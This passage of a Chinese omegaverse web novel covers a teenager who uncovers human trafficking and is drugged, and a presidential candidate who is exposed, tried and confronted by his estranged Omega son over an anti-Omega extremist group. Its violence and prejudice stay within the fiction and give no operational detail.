他微微回过头,他真的应该看看么,这个工作来之不易,他应该闭上眼睛。 伊桑狠了狠心,转身离开了。 但是紧接着,是一声极其微弱、仿佛被布料阻隔的呻吟。 人类的呻吟。 伊桑听到了自己的心跳声,鬼使神差地,一个疯狂的念头攫住了他。好奇心混合着长期压抑的困惑,驱使着他颤抖的手,摸向了箱子。 他学过修理,对这种简易锁扣并不陌生。指尖用力,技巧性地一拨一撬。 “咔哒。” 锁扣弹开的声音在寂静中格外清晰。 伊桑屏住呼吸,心脏狂跳得几乎要撞碎肋骨。他慢慢掀起箱盖一条缝隙,眯着眼朝里看去—— 光线昏暗,但足以看清。 里面是一个活生生的少年,看起来比他还要小一两岁,蜷缩在狭窄的箱体内,手脚被特制的束缚带绑着,嘴上贴着封条。少年睁大着惊恐绝望的眼睛,泪水糊了满脸,正拼命地扭动,发出“呜呜”的声音。 他脖子上戴着一个闪着微弱红光的金属项圈,身上只穿着单薄的白色束缚衣。 活人,他们像运送货物一样运送活人。 伊桑如遭雷击,那一瞬间他浑身的血液仿佛都冻结了。 在这里工作一段时间,伊桑就能够猜到,恐怕他们做的不是什么正经的是生意,但是卖人,伊桑想不到。 巨大的惊骇让他猛地松手,箱盖“哐当”一声落下,重重砸回原位,也盖住了里面的呜咽。 他踉跄着后退一步,胃里翻江倒海,他重重喘息一声,还是颤抖着将手伸向了锁扣。 他连自己都救不了······ 咔哒······ 然而,当他僵硬地转过身—— 他的直属上级——安保主管,正环抱着双臂,斜倚在门框上,不知已在那里站了多久。 他那张线条硬朗的脸上没有任何表情,只有一双眼睛,冰冷得像两颗黑色的玻璃珠,正牢牢锁定着伊桑。 空气仿佛凝固了,冰冷刺骨,他的视线像针一样把他钉在原地。 “看来,”主管缓缓开口,声音平直,没有一丝波澜,“有人把警告当成了耳旁风。” 伊桑的喉咙像是被铁钳扼住,发不出任何声音。他想解释,想求饶,但极致的恐惧让他丧失了语言能力。他眼睁睁看着吴主管不紧不慢地走近,从制服口袋中掏出一支预先装好药液的注射器,针尖在昏暗的灯光下闪过一点寒芒。 “不……”伊桑终于挤出一个的音节,想躲,身体却像被钉在原地。 主管一手钳住伊桑的胳膊,另一手将针头精准地刺入他的颈侧。冰凉的液体被迅速推入血管。 “呃……”伊桑感到一股尖锐的刺痛,随即是强烈的眩晕感袭来。世界开始旋转、扭曲、褪色。力气被瞬间抽空,他像一袋破沙包般软倒下去,视野迅速被黑暗侵蚀。 主管冷冷地打量了他一眼,转头去处理这个大箱子,“今天醒的怎么这么早,妈的。”—— 伊桑并未完全失去意识。 他陷入了一种诡异的状态:身体沉重得如同灌铅,连抬起一根手指都做不到;眼皮重若千钧,无法睁开;听觉和模糊的知觉却异常活跃,像浮在黏稠黑暗的水面上,断断续续地捕捉着外界的动静。 他感觉自己被粗鲁地拖行,粗糙的地面摩擦着他的背部和手臂。然后被扔到了一个更冷、似乎有金属反光的地方。耳边传来断续的对话,声音像是隔着一层厚厚的水幕传来,却字字清晰: “……可惜了这张脸,底子是真不错,比不少‘成品’都强。”一个有点尖细的陌生声音,带着惋惜。 “莱利当初捡回来,估计也是看上了这副皮相,以为能够捡一个现成的Omega,结果是个beta,未分化,也没有什么分化潜力,年纪还超了,白瞎。”这是吴主管平板的声音。 “那按惯例处理掉?还是送‘回收部’?” “不急。”吴主管似乎走近了一些,伊桑能感觉到他审视的目光落在自己脸上,“这种长相,哪怕分化等级只有F,放到某些市场也能卖个好价钱。我记得仓库里还有几支7号分化剂,给他打上?” “7号?!”尖细声音提高了些许,带着惊疑,“那玩意儿不是还在实验阶段吗?上次的副作用报告你看过没?强制诱导分化成功率不到60%,就算成功,信息素系统大概率永久紊乱,伴随神经痛和各种器官衰竭风险……” “那又如何?”吴主管打断他,语气漠然,“我们只负责出货。瑕疵品的售后问题,自然由买家承担。给他注射,看看能催生出什么。就算失败了……也不过是损耗稍微增加一点。去准备吧……” “是……明白了,我去报告莱利。” “你是不是傻了,他们卖一个Omega多少钱,你不是没看到,这可是一个没人知道的货色,到时候我们偷偷一脱手?”如果不是到时候运送货物要和眼前人一起,主管真的不想带着这个大傻子。 “可是我们不会······” “不就是打针么,不小心死了就说跑了,一个孤儿,谁会在意······” 脚步声远去又返回。 之后就是长途跋涉的运输,他们不知道把他放在了哪里, 伊桑还能感受到微微的风吹到他的脸上,伊桑感觉到有人粗暴地撕开他颈侧的衣物,冰凉的酒精棉擦拭过皮肤,激起一阵战栗。然后,是针管被拿起,气泡被弹掉的细微声响,以及针尖逼近皮肤的那一点冰凉触感。 他艰难睁开眼睛,但是身体还是不能移动分毫。 伊桑眼睁睁的看着那个针尖越来越近······ 不!不要! 伊桑在灵魂深处嘶吼,用尽全部意志力想要挣扎,想要逃离。但身体背叛了他,纹丝不动,如同被禁锢在一具冰凉的棺材里。 就在那催命的针尖即将刺入的千钧一发之际—— “砰——!!!” 震耳欲聋的爆炸声混合着金属扭曲断裂的巨响,猛然从外面走廊传来!整个房间似乎都震动了一下! “不准动!所有人放下武器!” “封锁所有出口!反抗者格杀勿论!” 杂沓而训练有素的脚步声如潮水般涌近,伴随着威严的厉喝、短促的搏斗声、器械落地的哐当声,以及惊恐的尖叫。 伊桑残留的意识被这突如其来的剧烈变故冲击,仿佛溺水之人看到了上方的光亮。 他模糊地感觉到原本按住他的人松开了手,惊慌地跑开。有人撞到了旁边的器械,发出混乱的声响。 更多急促的脚步声涌入房间。 混乱中,一个身影径直冲到了伊桑所在的金属台边。一股极其清淡的气息拂面而来,似雪后松林,又似月光下的冰泉,与他记忆中任何气味都不同,却莫名奇异地带来一丝安抚,驱散了部分萦绕不散的恐惧与绝望。 一双微凉而稳定的手轻轻托住了他的头部和肩膀, “孩子?能听到我说话吗?”一个男人的声音在耳边响起。 伊桑艰难地、极其缓慢地侧过脸。 视线模糊,光影晃动。 然后,那托着他头部的身影稍微调整了角度,一张脸孔,在晃动的光影和残留的眩晕中,逐渐从模糊变得清晰。 灰蓝色的长发,因匆忙和行动而稍显凌乱,几缕散落在光洁的额前和颊边。肤色白皙,下颌线条优雅而精致。那双他见过无数次的,美含笑的眼睛此刻正微微睁大,紧紧凝视着他,里面翻涌着极其复杂的情绪。 这张脸…… 这张无数次在昏暗货舱中被昏黄灯光照亮的脸…… 这张陪伴他度过最黑暗时刻、被他视为唯一庇护象征的脸…… “天使······” 照片里的“天使”…… 他真的……降临了。 他又来拯救他了。 第95章 市中心广场的演讲台上, 聚光灯如白昼般刺眼。 沈辞站在那里,他一向被誉为最有风度的政客,漂亮的脸为他带来不少的支持, 他好像也很明白自己的优势所在,量身定制的深灰色西装衬得他身形挺拔,鬓角精心打理过的白发非但不显苍老,反而增添了几分沉稳可靠的气度。 他握着话筒的手指骨节分明, 声音透过遍布广场的音响传遍每个角落,带着恰到好处的激昂与悲悯。 “……我们追求的, 是整个国家的公平与繁荣!是每个公民都能在这片土地上安居乐业, 是每个家庭都能享天伦之乐, 是我们的社会秩序井然,未来充满希望!” 他的目光扫过台下密密麻麻的人群,每一个眼神都像是在与个体对视,“我向大家承诺,只要我当选总统,必将整顿吏治, 改善民生,让每个人都能感受到制度的温暖,让我们的国家迈向新的辉煌!” 话音落下,台下立刻爆发出雷鸣般的掌声与欢呼声。“沈议员加油!”“我们支持你!”“沈辞总统!”的呼喊此起彼伏, 举着他竞选标语的牌子在人群中晃动, 形成一片涌动的蓝色海洋——那是他竞选团队的代表色。 沈辞微微抬手,示意大家安静,脸上挂着温和而坚定的笑容:“感谢各位的支持,你们的信任,就是我前进的最大动力。接下来的时间, 我愿意回答大家的任何问题。” 早已等候在前方的记者们立刻举起话筒,争先恐后地往前挤。沈辞的竞选助理挑选了一位举着本地知名报社牌子的记者,示意他提问,这里大部分都是安排好的记者,这个环节一般很少出纰漏。 “沈议员您好,我是《都市晨报》的记者。”那位记者站稳身形,声音清晰,“您刚才提到了‘每个家庭都能享天伦之乐’,我想请问,在您看来,Omega群体在家庭和社会中应该扮演怎样的角色?关于近期热议的Omega福利政策,您是否支持进一步完善,保障Omega的就业权益和社会地位?” 这个问题一出,台下的议论声小了些,不少人的目光都聚焦在沈辞身上。Omega群体的权益问题近年来一直是社会热点,不同立场的人看法迥异,而沈辞此前在公开场合很少正面回应过相关话题,但是有时候不发言就是一种表态。 沈辞脸上的笑容不变,语气却比刚才严肃了几分:“这位记者问得很好。在我看来,家庭是社会的基石,而Omega与生俱来的温柔、细腻与繁育能力,决定了他们最适合的岗位就是在家庭中相夫教子,维系家庭的和谐与温暖。” 他的话刚说完,台下就响起了一阵赞同的掌声,尤其是一些中年Alpha和已婚Omega,脸上露出了认可的神情。 但也有一部分人皱起了眉头,其中不乏年轻的Omega和支持Omega平权的人士。 “至于Omega的就业权益,”沈辞继续说道,“我认为我们目前的政策已经足够保障他们的基本生活。强行让Omega进入职场,不仅会让他们承受超出自身能力的压力,还会打破家庭的平衡,甚至影响社会的稳定。毕竟,Omega的身体条件和生理特性,都不适合参与高强度的社会竞争。我们应该引导Omega回归家庭,而不是鼓励他们盲目追求所谓的‘平权’。” “我不认为这是一种平权,难道Omega在家庭中的付出就不是付出么?真正的平权应该是各司其职,每一份努力和贡献都应该被看到。” 这番话再次引发了台下的争议,赞同与反对的声音交织在一起。不等大家细想,另一位记者已经抢过了话语权,语气带着几分急切:“沈议员!我想请问您对近期频发的Omega协会成员被袭击事件有何看法?据统计,近一个月内已经有至少十五名Omega协会成员遭遇不明人士袭击,其中三人重伤,而警方至今没有明确的调查结果。作为竞选总统的候选人,您认为政府应该采取哪些措施保障Omega的人身安全?” 这个问题让现场的气氛瞬间变得凝重起来。Omega协会成员被袭击事件近期一直占据着新闻头条,引发了社会各界的广泛关注。大家都在期待着政治人物能给出明确的态度和解决方案。 沈辞的眼神闪烁了一下,这绝对不是安排好的记者,随即恢复了平静,语气公式化地说道:“对于这一事件,我深感痛心。Omega群体是社会的弱势群体,他们的人身安全理应得到保障。我已经关注到了相关情况,也相信警方会尽快展开深入调查,查明真相,将凶手绳之以法。” “政府方面,”他顿了顿,继续说道,“如果我当选总统,将会加强社会治安管理,加大对暴力犯罪的打击力度,完善相关的法律法规,为所有公民提供更加安全的生活环境。对于受害的Omega及其家属,政府也应该给予适当的安抚和救助,帮助他们渡过难关。” “这都是官话!”台下突然传来一声高喊,“我们需要的是具体的措施,而不是空洞的承诺!警方调查了这么久,为什么一点进展都没有?是不是有人在背后阻挠?” 喊话的是一位年轻的Omega,脸上带着愤怒和焦虑,他的话立刻引发了共鸣,不少人纷纷附和:“没错!别拿官话糊弄我们!” “给我们一个明确的说法!” 沈辞的脸色微微沉了下来,竞选助理立刻上前想要维持秩序,却被沈辞抬手制止了。他深吸一口气,语气尽量缓和:“这位公民请冷静。警方的调查需要时间,我们不能急于求成。我向大家保证,我一定会密切关注事件的进展,督促相关部门尽快给出结果。” “密切关注就够了吗?”又一位记者站了起来,语气犀利,“沈议员,据我们了解,您的竞选团队中有多位成员与一个名为‘清道夫’的隐秘组织有着密切的联系。这个组织长期宣扬‘Omega回归家庭,禁止参与社会活动’的极端理念,甚至多次在公开场合攻击Omega协会。而近期遭遇袭击的Omega协会成员,在被袭击前都曾收到过来自‘清道夫’成员的威胁。请问您对此如何解释?” 此言一出,全场哗然。“清道夫”这个名字虽然在小范围内流传,但大多数人对这个组织的具体情况并不了解。 如今被记者当众点出,还将其与沈辞的竞选团队联系起来,瞬间让现场的气氛变得紧张到了极点。 沈辞的脸色彻底变了,他握着话筒的手指微微收紧,指节泛白:“这位记者,请注意你的言辞。这种毫无根据的猜测是不负责任的!我的竞选团队成员都是经过严格筛选的,他们不可能与任何极端组织有联系。你这样说,是在恶意抹黑我的竞选形象!” “我并非恶意抹黑,而是有证据的。”那位记者毫不退缩,从随身的公文包里拿出一叠资料,高高举起, “这是我们调查到的证据,其中包括您的竞选顾问李明与‘清道夫’负责人的通话记录、资金往来凭证,还有多张李明参加‘清道夫’内部会议的照片。此外,我们还发现,‘清道夫’近期的活动资金有很大一部分来自于您的竞选捐赠者。沈议员,您还能说这一切都是巧合吗?” 记者的话像一颗炸弹,在人群中炸开了锅。大家纷纷涌上前,想要看清那些证据。 沈辞的脸色瞬间变得惨白,眼神慌乱,再也没有了刚才的沉稳与从容。对方是有备而来,选择在现在的场景揭发,不给他反应的时间,就算他未来能够结束这场风波,今天的事情也会伴随他终身。 他的竞选助理急忙挡在他身前,大声喊道:“今天的提问环节到此结束!沈议员还有其他行程,我们下次再安排交流!” “沈议员,您别走!请正面回答问题!” “是不是您在背后支持‘清道夫’袭击Omega?” “您的竞选承诺都是假的吗?” 沈辞在助理和安保人员的护送下,匆匆离开了演讲台,钻进了停在一旁的黑色航行车。轿车在众人的注视下迅速驶离,留下一片混乱的广场和满场的质疑声。 车内,沈辞靠在座椅上,脸色阴沉得能滴出水来。 真皮座椅的凉意透过薄薄的西装面料渗进来,却丝毫无法平息他心中的怒火。 他猛地将手中的话筒扔在地上,话筒撞到车门上发出“哐当”一声闷响,在狭小的空间里格外刺耳。“废物!一群废物!怎么会让记者拿到这些东西?”他低吼道,胸腔剧烈起伏,眼神里满是杀意,“尤其是关于‘清道夫’和李明的那些证据,是谁泄露出去的?你们连这点事都做不好,我养你们究竟有什么用!” 沈辞一直以来的形象都很好,出身世家的他宽容待下,但是跟在他身边的人都明白,这个人虽然不经常发怒,却并不好糊弄。 更何况今天生了这么大的气,坐在前排的竞选经理脸色苍白,身体微微颤抖,小心翼翼地转过头:“沈议员,我们也不知道他们是怎么查到的……‘清道夫’那边我们已经打过招呼,让他们尽量低调,所有和竞选团队的往来都走的秘密渠道,李明那边也反复叮嘱过要销毁所有痕迹,没想到还是出了纰漏。现在媒体那边已经炸开了锅,#沈辞清道夫# #沈辞打压Omega# 这两个话题已经冲上了热搜榜首,下面全是骂声。我们需要尽快公关,要么否认,要么找个替罪羊出来平息众怒。” “公关?怎么公关?”沈辞怒视着他,眼神像要吃人,“那些证据都是实打实的,通话记录有录音,资金往来有银行流水,照片更是清晰得能看清李明的脸,现在公关只会越描越黑!”他深吸一口气,强行压下心中的怒火,语气冰冷地命令道:“立刻去查,挖地三尺也要把背后搞鬼的人找出来!是谁干得?陆家?他们一直和我作对,肯定是他在背后捅我刀子!还是林家······” 沈辞一连点了七八个平日就与他为敌的政敌,最后也没有什么头绪,只会越说越乱,他深吸一口气,平息了脑袋中的怒火, ,秘书等了几分钟,就等到这位领导的下一步指示, “让‘清道夫’的人加快速度,不管用什么方法,必须尽快解决掉……沈奉月,只要他死了,很多事情就都好办了。”沈辞说完之后,猛地靠向身后的椅背,如同脱力了一般, 不管如何,现在的情势并不乐观,他需要强有力的帮手。 “我们已经在查了,一有结果就向您汇报。”竞选经理不敢再多说什么,只能低头应下。 沈辞闭上眼睛,靠在椅背上,脑海中飞速运转。他知道,这次的事情非同小可,如果处理不好,不仅他的总统竞选会彻底泡汤,甚至可能身败名裂。 “清道夫”是他暗中扶持的力量,目的就是通过打压Omega协会,迎合那些反对Omega平权的保守派选民,为自己的竞选增加筹码。 更重要的是,沈奉月是沈之年唯一的监护人,只要他死了,他就能名正言顺地拿到沈之年的抚养权。 沈之年是沈家的血脉,只要把他和顾家绑在一起,顾家那庞大的商业帝国和政治资源就会为他所用,到时候别说总统之位,整个国家的权力都能被他牢牢攥在手里。他原本以为做得天衣无缝,没想到还是被人抓住了把柄。 轿车驶进沈辞的私人别墅,他刚下车,就看到一位穿着正装的律师站在门口,神色严肃。 “沈议员,您好。”律师走上前,递过一份文件,“我是法院的送达专员,这是法院的传票,请您签收。您因涉嫌资助极端组织、参与故意伤害等多项罪名,被提起公诉,下周开庭审理。” 沈辞的身体猛地一僵,像是被人从头到脚浇了一盆冰水,他难以置信地看着律师手中的传票,仿佛不敢相信自己的眼睛。“你说什么?传票?我被提起公诉?”他一把夺过传票,手指因为用力而微微颤抖,逐字逐句地翻看上面的内容,指控罪名那一栏里,“资助极端组织”“故意伤害”“意图谋杀”几个字格外醒目。 他的脸色越来越白,双手控制不住地颤抖起来,呼吸也变得急促。 “不可能……这不可能!”他嘶吼道,“我没有犯罪!这是诬陷!是有人故意陷害我!” 律师面无表情地说道:“沈议员,如果您对指控有异议,可以在开庭时向法庭提交证据进行辩护。请您按时出庭,否则法院将依法缺席判决。”说完,他转身离开了。 沈辞拿着传票,站在原地,浑身冰凉,太迅速了,不给他一点点反抗的机会,简直就是完全针对他的一场陷阱—— 一周后,法院开庭审理了沈辞的案件。庭审现场座无虚席,媒体记者挤满了旁听席,闪光灯此起彼伏,将整个法庭照得如同白昼。 一个世家的家主,一个距离总统只有一步之遥的政客,转眼间就身陷囹圄,这样惊天的戏剧,谁不想好好看一看呢。 公诉机关当庭出示了大量确凿的证据,包括沈辞与“清道夫”负责人的秘密通话录音、向“清道夫”转移资金的匿名账户流水、安排人手跟踪沈奉月的监控录像,以及多名“清道夫”成员的证词,均指认是受沈辞指使袭击Omega协会成员,意图谋杀沈奉月。 在铁证面前,沈辞的辩护律师显得苍白无力,所有的辩解都被公诉机关一一驳回。最终,法院判决沈辞多项罪名成立,判处有期徒刑十年,剥夺政治权利终身。 消息传出,举国哗然。曾经风光无限的总统候选人,一夜之间沦为阶下囚—— 监狱的会见室里,气氛压抑得让人喘不过气来。冰冷的铁窗将房间分割成两个世界。 沈奉月坐在桌子的一侧,穿着一身剪裁合体的黑色风衣,长发束在脑后,露出了光洁的额头和线条流畅的下颌。他的眼神平静无波,仿佛只是在见一个陌生人,指尖无意识地摩挲着袖口内侧一个小小的银色吊坠。 这个吊坠实在是太久了,以至于上面的字迹都有一些模糊不清,还是他幼年时某一年的生日礼物。 日理万机的父亲亲手为他雕刻的,兄弟姐妹中只有他有这样的殊荣。 对面的沈辞穿着囚服,头发凌乱,面色憔悴,曾经的意气风发早已消失得无影无踪。他看到沈奉月走进来的时候,眼中闪过一丝惊讶,随即又被愤怒和不甘取代。 “你怎么来了?”沈辞的声音沙哑,带着浓浓的嘲讽,“来看我的笑话吗?沈奉月,你现在满意了?看到我落到这个下场,你是不是很开心?” 沈奉月没有回答他的问题,只是静静地看着他,目光扫过他憔悴的脸庞,仿佛在追忆着什么。过了许久,他才缓缓开口,声音清淡:“我记得,我小时候,你经常带我去郊外的草坪上放风筝。上面画着我最喜欢的蝴蝶。你会把我举起来,让我把风筝线握在手里,然后带着我一起奔跑。风很大,吹得我头发乱飞,你就会笑着帮我把头发别到耳后。” “其他的Alpha哥哥姐姐都必须没玩没了的学习,你所有的爱好像都倾注在了我身上,那时候我真觉得我是你最爱的小孩,父亲。” 沈辞愣住了,他没想到沈奉月会突然说起这些往事。那些尘封的记忆被瞬间唤醒,脑海中浮现出一个小小的身影,穿的像一个粉色的小王子,在草坪上奔跑着,笑声清脆。 “还有一次,我发了高烧,烧得迷迷糊糊的。你亲自抱着我去医院,一路上都在不停地喊我的名字,怕我睡着了就再也醒不过来。”沈奉月的眼神柔和了些许,语气中带着一丝不易察觉的怅惘,“你对我和对别的兄弟姐妹都不一样······。” 沈辞的情绪缓和了一些,他看着沈奉月,眼神复杂:“是啊,那时候……那时候多好。”他顿了顿,语气软了下来,“奉月,我知道,以前是爸爸不对,我不该因为你怀了孩子就对你失望,不该把你逐出家门。爸爸知道错了,你原谅爸爸好不好?” 他向前探了探身子,声音带着恳求:“奉月,你现在是Omega协会的会长,手里有不小的权力和人脉。爸爸知道你有能力,你帮爸爸想想办法,把我捞出去好不好?就算不能把我捞出去,你也可以回家,去辅助你哥哥。你哥哥他……他还年轻,需要有人帮衬。你一个Omega总是在外面抛头露面也不好,总要有个依靠,只要你肯帮我们,以前的事情,我们都可以当作没发生过。” “你哥哥一定会保护好你的,到时候他会给你找一个好人家托付。” “沈家这个大船已经航行了几百年,一个家族的兴盛就要靠大家共同的努力。” 沈奉月静静地听着他说完,脸上的柔和渐渐褪去,取而代之的是一片冰冷。他看着沈辞:“捞你出去?辅助哥哥?沈辞,你是不是觉得,我还是那个可以被你随意操控的小孩子?” 沈辞的脸色变了变:“奉月,你……你什么意思?” “我的意思是,”沈奉月的声音清晰而坚定,“我不会帮你,也不会帮哥哥。你落到今天这个下场,都是你自己罪有应得。” “你说什么?”沈辞不敢置信地看着他,“沈奉月,我是你爸爸!你怎么能说出这样的话?你太不孝了!” “不孝?”沈奉月冷笑一声,眼神中充满了嘲讽和愤怒,“你还好意思跟我说不孝?当年你认定我是沈家的耻辱,把我逐出家门的时候,怎么没想过我是你的儿子?你为了你的政治野心,暗中扶持‘清道夫’,纵容他们袭击Omega协会的成员,甚至想要置我于死地的时候,怎么没想过我是你的儿子?” 沈辞的脸色瞬间变得惨白:“你……你都知道了?” “我当然知道。”沈奉月的声音带着一丝冰冷的笑意,“不仅知道,我还可以告诉你,你之所以会落到今天这个地步,之所以会收到法院的传票,之所以会被判处刑罚,这一切,都是我设计的。” “是你?!”沈辞猛地站了起来,双手死死地抓着桌子边缘,眼神中充满了震惊和愤怒,“真的是你?沈奉月,你这个逆子!我是你的亲生父亲,你竟然这样对我?!” “亲生父亲?”沈奉月重复着这几个字,语气中充满了悲凉,“在你把我逐出家门的那一刻,你就已经不是我的父亲了。在你纵容‘清道夫’的人来杀我的那一刻,我们之间的父子情分,就已经彻底断了。” 他看着沈辞愤怒的脸庞,眼神平静而坚定:“你以为我为什么会来这里?不是为了看你的笑话,也不是为了跟你追忆什么狗屁往事。我只是想告诉你,你所失去的一切,都是你自己亲手造成的。你想要我的命,想要毁掉Omega协会,本质上都是为了抢夺之年的监护权,不是吗?” 沈辞的瞳孔骤然收缩,脸上的愤怒瞬间僵住,随即被一丝慌乱取代:“你……你胡说什么!我不懂你在说什么!” “不懂?”沈奉月嗤笑一声,语气里满是嘲讽,“你以为你做得天衣无缝?你暗中让‘清道夫’针对我,就是想等我死了之后,夺走年年的监护权。毕竟,我死了,年年没有Alpha父亲,就是沈家名正言顺的血脉,有他在,你就能逼着他和顾家联姻,从而拉拢顾家那股庞大的政治势力,为你的总统之路铺路。沈辞,你算盘打得可真精啊。” “你不应该动我的孩子,我和你不一样,我不允许我的孩子成为工具。” 沈辞的脸色由白转青,呼吸变得急促起来,双手死死地攥成拳头,指节因为用力而泛出青白:“是又怎么样?!沈之年姓沈,是沈家的种,就该为沈家的未来着想!你一个被逐出家门的Omega,根本没资格抚养他!把他交给我们,让他和顾家联姻,才能让他发挥最大的价值,也能让沈家更上一层楼!” “价值?”沈奉月猛地提高了声音,眼神里迸发出强烈的怒意,“年年是我的儿子,不是你用来换取政治利益的工具!他有自己的人生,不该被你这样随意摆布!我之所以设计让你入狱,不仅是为了自保,更是为了保护年年。只要你还在,他就永远是你棋盘上的棋子,我必须护他周全,这是我唯一的底线。” “而且,年年姓沈,是我的沈,他不是你们沈家的种。” “护他周全?你一个Omega能给他什么?金钱?地位?还是政治资源?”沈辞歇斯底里地喊道,“只有沈家才能给得起他这些!你毁了我,毁了沈家,就是毁了沈之年的未来!你这个自私的人!” “自私?”沈奉月的眼神里充满了悲凉,“我自私也比你冷血好。你从来没有把之年当成一个真正的孩子看待,在你眼里,他和权力、利益没有任何区别。我告诉你,就算没有沈家,我也让之年平安快乐地长大了。我所做的一切,都是为了他,也为了所有像我一样,被你们这些所谓的‘上位者’随意践踏的Omega。我们不是你们的附属品,更不是你们谋取利益的工具。” 沈辞被他怼得哑口无言,只能张着嘴大口喘气,眼神里充满了怨毒和绝望。 “你……你竟然想要我的命?”沈辞的声音颤抖着,他看着沈奉月,仿佛第一次认识他一样。他一直以为,沈奉月只是一个软弱可欺的Omega,就算被逐出家门,也掀不起什么风浪。可他万万没有想到,这个他一直看不起的儿子,竟然有如此大的能量,竟然能把他逼到这个地步。 “是你先想要我的命。”沈奉月的语气没有丝毫波澜,“我只是以其人之道,还治其人之身而已。” “我想想,如果不是我的动作够快,现在我应该已经人头落地了吧,这些年我的名声不错,我一死,你就能带走年年和顾家谈判,顺便还能接手我的政治遗产。” “谁会相信谋杀儿子的是父亲呢,到时候你作为不幸失去儿子的父亲,作为我在这个世界最亲的人之一,也应该能够得到海一样的支持吧。” “你敢说你在出事的那一刻想的不是要先把我做掉么?” 会见室里陷入了一片死寂。沈辞靠在椅背上,眼神空洞,脸上充满了绝望。他知道,沈奉月说的是真的,他彻底完了。 沈奉月站起身,整理了一下风衣的下摆,最后看了沈辞一眼,眼神中没有丝毫留恋。“好好在这里反省吧,沈辞。这十年,足够你想清楚很多事情了。” 说完,他转身离开了会见室,留下沈辞一个人在原地,发出了绝望的嘶吼和咒骂。而门外的沈奉月,在走出监狱大门的那一刻,抬头望向天空,阳光洒在他的脸上,有一点刺眼,沈奉月微微的眯上眼睛。 这次的事情当然不是他一人所为,他没有这么大的能量,他只是开了一个小头,后面自然有沈辞的敌人利用好这个机会。 他也在暗中观察,现在的形式 ,一个Omega想要爬上去还是太难了,沈辞说的没错,他确实需要找一个大树依靠,沈奉月更喜欢叫这个为合作,政治合作。 他每天的事情太多了。 这只是一个开始,为了Omega群体的未来,他还有很长的路要走。 虽然这次他也是挤出一点来看看沈辞吗,但是时间不会给他太多悲春伤秋的机会—— 刚走到监狱门口的停车场,一个高大的身影突然从旁边的阴影里冲了出来,挡在了沈奉月的面前。 “沈奉月!你这个灾星!”男人的声音充满了愤怒和指责,他穿着一身昂贵的定制西装,却难掩脸上的憔悴和烦躁,正是沈奉月的亲生哥哥沈承安。 沈奉月停下脚步,看着眼前的哥哥,眼神里没有丝毫波澜。自从被逐出家门后,他们就再也没有过任何联系,如今再次相见,却是这样的场景。 “让开。”沈奉月的语气很平淡,听不出情绪。 “让开?你把沈家搞成现在这个样子,还想让我让开?”沈承安上前一步,死死地盯着他,“爸爸被你送进了监狱,沈家的声誉一落千丈,那些原本支持我们的势力纷纷倒戈,公司的股价暴跌,家里乱成了一团糟!这一切都是你造成的!你满意了?” “我造成的?”沈奉月轻轻挑了挑眉,语气里带着一丝嘲讽,“哥哥,你怎么不说这一切都是沈辞自己咎由自取?他暗中扶持极端组织,伤害Omega,为了权力不择手段,甚至想要杀了我抢夺年年的监护权,难道这些都是我逼他做的?” “那又怎么样?他是我们的父亲!是沈家的顶梁柱!”沈承安怒吼道,“就算他有不对的地方,你也不能把事情做得这么绝!你知不知道,因为你的行为,我们整个沈家都要完了!” “沈家完了,是你们自己作的,和我无关。”沈奉月的眼神冷了下来,“当年沈辞把我逐出家门的时候,怎么没想过我是他的儿子?你们眼睁睁看着我被人欺负,看着我在外面颠沛流离,怎么没想过要帮我一把?现在沈辞倒台了,沈家出问题了,就想起我这个灾星了?” “而且容我提醒你一句,是你们沈家,我的哥哥,你们沈家要完了,只有你这样的废物Alpha二世祖要依靠家族势力,我不用,我有自己的事业。” “那是因为你是Omega!Omega本就不该抛头露面,更不该掺和这些政治纷争!”沈承安的语气里充满了对Omega的歧视,“爸爸把你逐出家门,也是为了你好!是你自己不知好歹,非要和沈家作对,非要和爸爸作对!” “为了我好?”沈奉月笑了,笑得眼泪都快出来了,“把我赶出家门,让我一个十几岁的Omega独自在外生存,这叫为了我好?看着我被‘清道夫’的人追杀,差点丢了性命,这叫为了我好?沈承安,你的良心呢?” 他上前一步,眼神锐利地盯着沈承安:“你怒斥我把沈家搞乱,那你告诉我,当初沈辞派人行刺我的时候,我难道就该站在原地等死吗?我难道就该眼睁睁看着他夺走我的儿子,把年年当成联姻的工具吗?我做这些,只是为了自保,为了保护我的孩子!” 不知道是不是因为才见过沈辞,沈奉月罕见的也变得话多起来,竟然还和沈承安开始这种没有意义的争执。 沈承安被他问得一噎,一时语塞,但很快又硬气起来:“就算如此,你也不能毁了沈家!爸爸要是上位成功,我们所有人都能受益,包括你和你的儿子!你为什么就是不明白?” “受益?我不需要这种建立在别人痛苦之上的受益。”沈奉月的语气坚定,“我有我自己的政治理念,我坚信Omega不该被歧视,不该被束缚在家庭里,每个Omega都有权利追求自己想要的生活,都有权利得到平等的对待。而沈辞的理念,是把Omega重新拉回黑暗的深渊,是对所有Omega的践踏。这样的人,我绝对不可能让他上位。” “况且,收益的是你吧,沈家的继承人Alpha。” “你简直不可理喻!”沈承安气得浑身发抖,“你以为你是谁?你一个Omega协会的会长,能掀起多大的风浪?你毁了沈家,最终也不会有好下场!” “我有没有好下场,就不劳你费心了。”沈奉月懒得再和他争辩,侧身绕过他,径直走向自己的车,“沈家的事,从今往后,与我沈奉月无关。你最好也别再来找我,免得自讨没趣。” 说完,他拉开车门坐了进去,发动汽车,很快就驶离了监狱门口。沈承安站在原地,看着汽车消失的方向,气得狠狠踹了一脚旁边的垃圾桶,脸色阴沉得能滴出水来。 他知道,沈奉月说的是认真的,从今往后,他和沈家,真的彻底没关系了。 第96章 “沈先生, 顾先生”主治医生拿着病历本细细的看,坐在对面的顾景深和沈之年好像两个等待审判的人,焦急的等待着审判的结果。 终于医生看好了, 抬起头,沈之年立刻站起身,眼底闪过一丝急切:“医生,他怎么样了?” 医生笑着点了点头, 语气轻快:“您放心,顾先生的恢复情况比我们预期的还要好。各项生命指标已经完全平稳, 心率、血压、信息素波动都趋于正常, 腺体的红肿也消了很多, 虽然还不能完全恢复正常功能,无法自主分泌足量的信息素,但已经没有生命危险了。” “真是奇迹,人体的奥秘无穷无尽,小小的腺体竟然能够带来这么神奇的影响,这种情况我们之前都认为是绝症, 完美的匹配度能够带来这样的影响,你们是目前第一例成功治愈的案例,我也感谢你们对于医学做出的贡献。” “您刚才说,景深的腺体其实还没有能够完全恢复正常功能, 那我们后续需要注意什么么?”不会有人比起沈之年对顾景深的信息素更加敏感, 虽然医生说的好听,但是从沈之年的角度看,顾景深现在的情况很难说是康复。 医生突然揶揄的笑了一下,“小沈先生,您对特优级别的Alpha好像不太了解啊, 